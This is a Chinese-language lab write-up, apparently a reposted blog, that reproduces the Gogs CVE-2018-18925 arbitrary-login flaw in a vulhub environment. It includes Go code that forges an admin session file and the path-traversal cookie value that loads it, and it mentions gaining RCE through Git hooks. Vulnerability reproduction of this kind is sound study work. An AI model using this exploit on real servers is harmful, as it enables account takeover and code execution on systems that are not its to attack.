vulhub漏洞复现- Gogs(CVE-2018-18925)任意用户登录漏洞

gogs

gogs与GitHub、GitLib相似,它使用go语言开发,由于语言特性,Gogs能够跨平台部署,且对资源要求低
Git与GitHub、GitLib、Gogs的区别

思路

  1. 生成伪造的管理员session信息
  2. 通过向仓库中上传文件的方式将伪造的session文件上传至服务端
  3. 找到文件目录,通过cookie中的i_like_gogits字段指定该文件
  4. 成功伪造管理员登陆!

在登陆成功之后可以在Git(hook)钩子处写入shell脚本或命令来达到任意RCE

漏洞复现

docker部署完成后访问:3000,安装数据库
在这里插入图片描述

创建仓库
在这里插入图片描述
在网上翻的一些教程都是不存在版本发布页面(刚开始不懂后来发现我也是)
在这里插入图片描述

应该存在版本发布的页面会是这样

在这里插入图片描述
session的文件

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "os"
)

func EncodeGob(obj map[interface{
    
    }]interface{
    
    }) ([]byte, error) {
    
    
    for _, v := range obj {
    
    
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    
    
    var uid int64 = 1
    obj := map[interface{
    
    }]interface{
    
    }{
    
    "_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
    
    
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
    if err != nil {
    
    
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

这里抓包上传以后,通过附件的url得到这个文件的文件名,就像这样

./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10

最后构造Cookie:i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10,发包即可发现已经成功登录root
在这里插入图片描述

参考Gogs 远程命令执行漏洞分析

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/120997900